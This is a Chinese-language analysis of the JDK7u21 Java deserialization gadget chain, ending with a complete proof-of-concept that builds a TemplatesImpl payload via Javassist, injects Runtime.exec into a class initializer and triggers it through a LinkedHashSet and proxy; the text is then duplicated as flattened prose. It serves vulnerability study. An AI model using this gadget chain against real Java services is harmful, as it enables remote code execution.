JDK7u21 反序列化漏洞
字数 2566 2025-08-26 22:11:57

JDK7u21 反序列化漏洞深入分析与利用

漏洞概述

JDK7u21 反序列化漏洞是一个利用 Java 标准库中自带类实现的反序列化攻击链。该漏洞利用了 Java 反序列化机制中的多个关键类和方法,包括 LinkedHashSetHashSetHashMapTemplatesImplAbstractTransletProxyAnnotationInvocationHandler 等。

环境准备

  • JDK 版本:jdk1.7.0_21
  • 开发工具:IDEA 2019.2

核心漏洞分析

TemplatesImpl 类利用

TemplatesImpl 类是漏洞利用的关键,它位于 com.sun.org.apache.xalan.internal.xsltc.trax 包中。

getTransletInstance() 方法分析

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;
        if (_class == null) defineTransletClasses();
        
        AbstractTranslet translet = (AbstractTranslet)_class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }
        return translet;
    } catch (InstantiationException e) {
        // 异常处理
    } catch (IllegalAccessException e) {
        // 异常处理
    }
}

关键点:

  1. _class 字段为 null 时,会调用 defineTransletClasses() 方法
  2. 然后执行 _class[_transletIndex].newInstance() 语句
  3. newInstance() 会调用 _class[_transletIndex] 的无参构造方法,生成类实例对象

defineTransletClasses() 方法分析

private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {
        throw new TransformerConfigurationException("No translet bytecode");
    }
    
    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });
    
    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];
        
        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }
        
        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();
            
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            } else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }
        
        if (_transletIndex < 0) {
            throw new TransformerConfigurationException("No main translet class found");
        }
    } catch (ClassFormatError e) {
        // 异常处理
    } catch (LinkageError e) {
        // 异常处理
    }
}

关键点:

  1. 遍历 _bytecodes(byte[][]) 数组,使用类加载器将字节码转化为 Class
  2. 获取 Class 的父类
  3. 如果 Class 的父类名是 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",为 _transletIndex 赋值
  4. 否则调用 Hashtable 的 put 方法为 _auxClasses 字段增加值

_bytecodes 字段利用

要利用 TemplatesImpl,我们需要构造恶意类并设置到 _bytecodes 字段中。有两种方法:

方法一:通过 ClassPool 动态构造字节码

public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, 
        Class<?> abstTranslet, Class<?> transFactory) throws Exception {
    final T templates = tplClass.newInstance();
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(Foo.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    
    final CtClass clazz = pool.get(Foo.class.getName());
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 
        command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\\\"") + "\");";
    
    clazz.makeClassInitializer().insertBefore(cmd);
    clazz.setName("com.Pwner");
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);
    
    final byte[] classBytes = clazz.toBytecode();
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
    Reflections.setFieldValue(templates, "_name", "Pwner");
    return templates;
}

public static class Foo implements Serializable {
    private static final long serialVersionUID = 8207363842866235160L;
}

方法二:直接构造 Java 类并读取 class 文件

public class Foo extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = 8207363842866235160L;
    
    public Foo(){
        try {
            java.lang.Runtime.getRuntime().exec("calc");
        } catch (Exception e){
            System.out.println("exec Exception");
        }
    }
    
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, 
            SerializationHandler handler) throws TransletException {}
}

读取 class 文件生成字节码数组:

InputStream in = new FileInputStream("class path");
byte[] data = toByteArray(in);

private static byte[] toByteArray(InputStream in) throws IOException {
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024 * 4];
    int n = 0;
    while ((n = in.read(buffer)) != -1) {
        out.write(buffer, 0, n);
    }
    return out.toByteArray();
}

AnnotationInvocationHandler 类利用

AnnotationInvocationHandler 类是动态代理的关键,位于 sun.reflect.annotation 包中。

equalsImpl 方法分析

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;
        
        for (int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }
            
            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }
        return true;
    }
}

关键点:

  1. var5.invoke(var1) 可以通过反射调用 var1 对象的方法
  2. 要执行到 var5.invoke(var1) 需要满足:
    • var1 != this
    • var1 对象能够转化为 this.type 类型
    • this.asOneOfUs(var1) 返回 null

invoke 方法分析

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;
        
        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }
                return var6;
            }
        }
    }
}

关键点:

  1. 要调用 equalsImpl 方法,需要满足:
    • 方法名为 "equals"
    • 方法参数个数为 1
    • 方法参数类型为 Object 类型

HashMap 类利用

HashMapput 方法中会调用 key.equals(k),这是触发整个漏洞链的关键点。

put 方法分析

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }
    
    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

关键点:

  1. 要触发 key.equals(k) 需要满足:
    • 两个 key 的 hash 值相等
    • indexFor 计算的 i 相等
    • 前一个 key 不等于当前 key
    • 当前 key 为代理对象,前一个 key 为 TemplatesImpl 对象

hash 方法分析

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }
    h ^= k.hashCode();
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

关键点:

  1. 实际调用的是对象的 hashCode() 方法
  2. 对于代理对象,会调用 AnnotationInvocationHandlerhashCodeImpl() 方法

hashCodeImpl 方法分析

private int hashCodeImpl() {
    int var1 = 0;
    Entry var3;
    for (Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); 
            var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }
    return var1;
}

关键点:

  1. 计算方式为:127 * (key的hashCode) ^ (value的hashCode)
  2. 要使两个对象的 hash 值相等,需要:
    • memberValues 只有一个 entry
    • key 的 hashCode 为 0
    • value 为 TemplatesImpl 对象

LinkedHashSet 类利用

LinkedHashSetreadObject 方法会触发整个漏洞链:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
            new LinkedHashMap<E,Object>(capacity, loadFactor) :
            new HashMap<E,Object>(capacity, loadFactor));
    int size = s.readInt();
    for (int i = 0; i < size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

关键点:

  1. 反序列化时会依次调用 map.put 方法
  2. 使用 LinkedHashSet 可以保证元素的添加顺序

完整漏洞利用链

  1. 反序列化 LinkedHashSet 对象
  2. LinkedHashSet.readObject() 调用 map.put()
  3. HashMap.put() 调用 key.equals(k)
  4. 代理对象的 equals() 方法调用 AnnotationInvocationHandler.invoke()
  5. AnnotationInvocationHandler.invoke() 调用 equalsImpl()
  6. equalsImpl() 通过反射调用 TemplatesImpl 的方法
  7. TemplatesImpl.newTransformer()getTransletInstance() 触发恶意代码执行

完整 POC

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, 
                AbstractTranslet.class, TransformerFactoryImpl.class);
        
        String zeroHashCodeStr = "f5a5a608";
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "ssss");
        
        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
        
        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Templates.class, map);
        
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allIfaces[0] = Templates.class;
        
        Templates templates = (Templates) Proxy.newProxyInstance(
                JDK7u21.class.getClassLoader(), allIfaces, tempHandler);
        
        LinkedHashSet set = new LinkedHashSet();
        set.add(templatesImpl);
        set.add(templates);
        
        map.put(zeroHashCodeStr, templatesImpl);
        
        // 序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(
                new FileOutputStream(new File("JDK7u21.ser")));
        objectOutputStream.writeObject(set);
        objectOutputStream.flush();
        objectOutputStream.close();
        
        // 反序列化触发
        ObjectInputStream objectInputStream = new ObjectInputStream(
                new FileInputStream("JDK7u21.ser"));
        objectInputStream.readObject();
    }
    
    public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, 
            Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        // 同上文 createTemplatesImpl 方法
    }
    
    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;
    }
}

漏洞修复

Oracle 在后续的 JDK 版本中修复了此漏洞,主要修复点包括:

  1. 修改了 AnnotationInvocationHandlerequalsImpl 方法
  2. 增加了对反序列化类的安全检查
  3. 修复了 TemplatesImpl 类的安全漏洞

总结

JDK7u21 反序列化漏洞是一个经典的 Java 反序列化漏洞,它利用了 Java 标准库中多个类的特性组合形成了一个完整的攻击链。理解这个漏洞需要对 Java 的以下机制有深入理解:

  1. 反序列化机制
  2. 反射机制
  3. 动态代理
  4. 类加载机制
  5. Hash 算法和 HashMap 实现

这个漏洞的利用过程展示了 Java 反序列化漏洞的复杂性和危害性,也提醒开发者在设计可序列化类时需要特别注意安全性。

JDK7u21 反序列化漏洞深入分析与利用 漏洞概述 JDK7u21 反序列化漏洞是一个利用 Java 标准库中自带类实现的反序列化攻击链。该漏洞利用了 Java 反序列化机制中的多个关键类和方法,包括 LinkedHashSet 、 HashSet 、 HashMap 、 TemplatesImpl 、 AbstractTranslet 、 Proxy 和 AnnotationInvocationHandler 等。 环境准备 JDK 版本:jdk1.7.0_ 21 开发工具:IDEA 2019.2 核心漏洞分析 TemplatesImpl 类利用 TemplatesImpl 类是漏洞利用的关键,它位于 com.sun.org.apache.xalan.internal.xsltc.trax 包中。 getTransletInstance() 方法分析 关键点: 当 _class 字段为 null 时,会调用 defineTransletClasses() 方法 然后执行 _class[_transletIndex].newInstance() 语句 newInstance() 会调用 _class[_transletIndex] 的无参构造方法,生成类实例对象 defineTransletClasses() 方法分析 关键点: 遍历 _bytecodes (byte[][ ]) 数组,使用类加载器将字节码转化为 Class 获取 Class 的父类 如果 Class 的父类名是 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ,为 _transletIndex 赋值 否则调用 Hashtable 的 put 方法为 _auxClasses 字段增加值 _ bytecodes 字段利用 要利用 TemplatesImpl ,我们需要构造恶意类并设置到 _bytecodes 字段中。有两种方法: 方法一:通过 ClassPool 动态构造字节码 方法二:直接构造 Java 类并读取 class 文件 读取 class 文件生成字节码数组: AnnotationInvocationHandler 类利用 AnnotationInvocationHandler 类是动态代理的关键,位于 sun.reflect.annotation 包中。 equalsImpl 方法分析 关键点: var5.invoke(var1) 可以通过反射调用 var1 对象的方法 要执行到 var5.invoke(var1) 需要满足: var1 != this var1 对象能够转化为 this.type 类型 this.asOneOfUs(var1) 返回 null invoke 方法分析 关键点: 要调用 equalsImpl 方法,需要满足: 方法名为 "equals" 方法参数个数为 1 方法参数类型为 Object 类型 HashMap 类利用 HashMap 的 put 方法中会调用 key.equals(k) ,这是触发整个漏洞链的关键点。 put 方法分析 关键点: 要触发 key.equals(k) 需要满足: 两个 key 的 hash 值相等 indexFor 计算的 i 相等 前一个 key 不等于当前 key 当前 key 为代理对象,前一个 key 为 TemplatesImpl 对象 hash 方法分析 关键点: 实际调用的是对象的 hashCode() 方法 对于代理对象,会调用 AnnotationInvocationHandler 的 hashCodeImpl() 方法 hashCodeImpl 方法分析 关键点: 计算方式为:127 * (key的hashCode) ^ (value的hashCode) 要使两个对象的 hash 值相等,需要: memberValues 只有一个 entry key 的 hashCode 为 0 value 为 TemplatesImpl 对象 LinkedHashSet 类利用 LinkedHashSet 的 readObject 方法会触发整个漏洞链: 关键点: 反序列化时会依次调用 map.put 方法 使用 LinkedHashSet 可以保证元素的添加顺序 完整漏洞利用链 反序列化 LinkedHashSet 对象 LinkedHashSet.readObject() 调用 map.put() HashMap.put() 调用 key.equals(k) 代理对象的 equals() 方法调用 AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.invoke() 调用 equalsImpl() equalsImpl() 通过反射调用 TemplatesImpl 的方法 TemplatesImpl.newTransformer() 或 getTransletInstance() 触发恶意代码执行 完整 POC 漏洞修复 Oracle 在后续的 JDK 版本中修复了此漏洞,主要修复点包括: 修改了 AnnotationInvocationHandler 的 equalsImpl 方法 增加了对反序列化类的安全检查 修复了 TemplatesImpl 类的安全漏洞 总结 JDK7u21 反序列化漏洞是一个经典的 Java 反序列化漏洞,它利用了 Java 标准库中多个类的特性组合形成了一个完整的攻击链。理解这个漏洞需要对 Java 的以下机制有深入理解: 反序列化机制 反射机制 动态代理 类加载机制 Hash 算法和 HashMap 实现 这个漏洞的利用过程展示了 Java 反序列化漏洞的复杂性和危害性,也提醒开发者在设计可序列化类时需要特别注意安全性。